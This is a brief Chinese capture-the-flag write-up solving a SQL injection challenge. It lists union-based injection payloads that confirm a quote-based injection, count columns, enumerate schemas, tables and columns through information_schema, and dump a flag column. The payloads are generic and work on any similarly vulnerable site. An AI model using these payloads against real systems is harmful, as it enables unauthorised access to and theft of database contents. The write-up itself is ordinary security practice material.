sql注入-1
主页是这个样子
判断注入类型 字符型 单引号
id=1' and 1=1--+
id=1' and 1=2--+
判断列数 三列
id=-1' order by 3--+
查询是否有显示位 union联合查询注入 2、3号位
id=-1 union select 1,2,3--+
查询数据库 informaion_schema、note
id=-1' union select 1,(select concat(schema_name) from information_schema.schemata limit 0,1),3--+
id=-1' union select 1,(select concat(schema_name) from information_schema.schemata limit 1,1),3--+
查询表(note) fl4g、notes
id=-1' union select 1,(select concat(table_name) from information_schema.tables where table_schema='note' limit 0,1),3--+
id=-1' union select 1,(select concat(table_name) from information_schema.tables where table_schema='note' limit 1,1),3--+
查询字段(fl4g)fllllag
id=-1' union select 1,(select concat(column_name) from information_schema.columns where table_name='FL4G' limit 0,1),3--+
dump数据
id=-1' union select 1,(select fllllag from fl4g),3--+